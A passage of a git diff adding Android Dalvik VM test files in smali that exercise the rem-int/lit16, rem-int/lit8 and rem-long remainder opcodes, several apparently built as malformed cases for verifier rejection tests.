+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 32767
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.smali
new file mode 100644
index 0000000..8fbc185
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, -32768
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.smali
new file mode 100644
index 0000000..5d4dca6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.smali
new file mode 100644
index 0000000..4f22b90
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 4
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.smali
new file mode 100644
index 0000000..72d6198
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v8, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.smali
new file mode 100644
index 0000000..69ca5a6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_11.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       rem-int/lit8 v0, v6, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.smali
new file mode 100644
index 0000000..1e97b30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       rem-int/lit8 v0, v6, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.smali
new file mode 100644
index 0000000..1022939
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_13.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v6, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.smali
new file mode 100644
index 0000000..6544ff6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, -3
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.smali
new file mode 100644
index 0000000..aeda7f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, -120
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.smali
new file mode 100644
index 0000000..7f46c25
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.smali
new file mode 100644
index 0000000..38034c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, -1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.smali
new file mode 100644
index 0000000..d75d49a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.smali
new file mode 100644
index 0000000..f3aa9c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 127
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.smali
new file mode 100644
index 0000000..cef1a86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, -128
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.smali
new file mode 100644
index 0000000..1ccbdce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.smali
new file mode 100644
index 0000000..8f94d9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_1.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long v0, v10, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.smali
new file mode 100644
index 0000000..22feda9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long v0, v12, v14
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.smali
new file mode 100644
index 0000000..1c2db17
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_3.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       rem-long v0, v10, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.smali
new file mode 100644
index 0000000..421998e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_4.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)J
+.registers 14
+
+       rem-long v0, v11, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.smali
new file mode 100644
index 0000000..ed7febf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_5.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)J
+.registers 14
+
+       rem-long v0, v11, v13
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.smali
new file mode 100644
index 0000000..d3a7be5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_6.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long v0, v9, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.smali
new file mode 100644
index 0000000..8805b30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long/2addr v10, v12
+       return-wide v10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.smali
new file mode 100644
index 0000000..4f2310d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
